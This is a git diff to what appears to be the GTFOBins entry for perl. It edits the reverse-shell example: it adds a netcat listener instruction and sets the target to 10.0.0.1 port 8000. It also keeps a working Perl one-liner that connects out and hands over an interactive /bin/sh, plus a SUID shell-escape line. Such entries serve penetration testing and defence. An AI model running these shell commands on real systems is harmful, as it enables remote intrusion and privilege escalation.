diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md
index 2b7efcc..d8d5420 100644
--- a/_gtfobins/perl.md
+++ b/_gtfobins/perl.md
@@ -7,8 +7,9 @@ functions:
   suid-enabled:
     - code: ./perl -e 'exec "/bin/sh";'
   reverse-shell:
-    - code: |
-        export RHOST=127.0.0.1 
-        export RPORT=12346
+    - description: Run `nc -l -p 8000` to receive the shell on the other end.
+      code: |
+        export RHOST=10.0.0.1
+        export RPORT=8000
         perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 ---
\ No newline at end of file